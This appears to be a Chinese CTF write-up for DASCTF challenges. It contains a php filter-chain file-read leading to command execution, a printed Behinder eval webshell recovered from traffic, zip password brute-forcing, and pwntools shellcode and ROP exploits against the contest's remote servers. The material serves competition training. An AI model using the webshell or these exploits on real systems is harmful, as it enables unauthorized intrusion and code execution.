web briefphp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 <!--<a href="/?source" >source</a>--><?php if (isset ($_GET ['source' ])) highlight_file (__FILE__ ) ?> <?php error_reporting (0 ); include ('./shell.php' ); if (isset ($_GET ['file' ])) { $content = file_get_contents ($_GET ['file' ]); if (strpos ($content , '<!DOCTYPE' ) === False) { die ('failed to read' ); } else { echo $content ; die (); } } else { die ('nothing here' ); }?> nothing here
只能读取以<!DOCTYPE
开头的文件,直接用php_filter_chain_generator
构造
读取shell.php
然后文件包含转命令执行
蚁剑连接拿到flag
misc 这是神马 流量分析,导出http对象
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 <?php @error_reporting (0 );session_start (); $key ="144a6b2296333602" ; $_SESSION ['k' ]=$key ; session_write_close (); $post =file_get_contents ("php://input" ); if (!extension_loaded ('openssl' )) { $t ="base64_" ."decode" ; $post =$t ($post ."" ); for ($i =0 ;$i <strlen ($post );$i ++) { $post [$i ] = $post [$i ]^$key [$i +1 &15 ]; } } else { $post =openssl_decrypt ($post , "AES128" , $key ); } $arr =explode ('|' ,$post ); $func =$arr [0 ]; $params =$arr [1 ]; class C {public function __invoke ($p ) {eval ($p ."" );}} @call_user_func (new C (),$params );?>
拿到key后解密冰蝎流量
其中一条流量中发现命令cd /var/www/html/upload/../;tar -czvf - flag | openssl des3 -salt -k th1sisKey -out ./flag.tar.gz
生成openssl des3 -salt -k th1sisKey -in ./flag.tar.gz -d -out out.tar.gz
解压得到🙃💵🌿🎤🚪🌏🐎🥋🚫😆✅✉🚰🚹🎤💧📂👑🚫ℹ🍴😎ℹ🚨📮🛩🥋🥋🔪☀🌉😡👑😂🌊⌨🚪🚹😎🎈💧🕹💧🏎☃ℹ☃🔪🍌✅😇🍍⌨🌿💧🌊🎅☂⏩🌊🍵📮☀💵⌨☂📮😇☂🐍😆☀🚪🚹🍵💧🌏🚫😆🐘🐅😀🚰🐍🙃💧🗒🗒
使用th1sisKey
密钥解emoji-aes得到flag
李先生的计算机 2.ad1
文件,使用FTK Imager挂载
根据提示直接找邮件存储位置MailMasterData
拿到search.db文件,用db browser查看
得到转账金额600
和附件密码dbt_1126_tta
jpg加密软件密码123654
附件可以在MailMasterData
下或download
目录下找到
解压后得到BorromeanIslands.jpg
,jphs解密后得到银行卡号6222025567723373838
DASCTF{600_6222025567723373838}
Black Mamba iend后有冗余数据,提取出来后异或24
1 2 3 4 5 6 f=open ('1' ,'rb' ) d=f.read() f=open ("output.zip" ,'wb' )for i in d: f.write(bytes ([i^24 ])) f.close()
异或后是压缩包,hint是说了很多次不要用这么常见的密码了
掏出祖传的字典爆破,得到1qaz@WSX
解压后是
1 2 EAOJYU?TRX>{XPFABY{8 {24 + 有人好像对我键盘做了点手脚,看起来像坏了一样。
Dvorak解码得到DASCTF{KOBE_BRYANT_8_24}
reverse rrrrs 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 def decode (a ): a^=a>>18 a^=(a<<15 )&0xefc60000 for i in range (4 ): a^=((a&(127 <<(7 *i)))<<7 )&(0x9d2c5680 ) for i in range (3 ): a^=(a&(4292870144 >>(11 *i)))>>11 return a.to_bytes(4 ,'big' ) c=[0xa7a1e601 ,0x10a6a5df ,0xa3f03b11 ,0x7e523d64 ,0xcb99d7a8 ,0x2ddc2485 ,0xe3c8b3cd ,0x6b82a51e ,0x0ea07814 ,0x6bf2bf07 ] flag=b"" for i in c: flag+=decode(i)print (flag)
pwn babyshell 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 from pwn import * context.arch='amd64' p=remote("tcp.cloud.dasctf.com" ,"21844" ) shellcode=shellcraft.openat(-100 ,"flag" ) shellcode+=shellcraft.brk() shellcode+=""" mov rsi,rax sub rsi,0x1000 mov rdi,3 mov rdx,0x100 mov rax,0 syscall mov rdi,1 mov rax,1 syscall """ p.send(asm(shellcode)) p.interactive()
mercedes 1 2 3 4 5 6 7 8 9 10 11 12 from pwn import * p=remote('tcp.cloud.dasctf.com' ,'28629' ) e=ELF("mercedes" ) context.binary=e system=e.plt['system' ] comm=0x601090 rdi=0x0000000000400983 ret=0x00000000004005ae p.sendafter('drink' ,'tac flag 1>&2' ) p.sendafter('you?' ,b'a' *0x28 +p64(rdi)+p64(comm)+p64(ret)+p64(system)) p.interactive()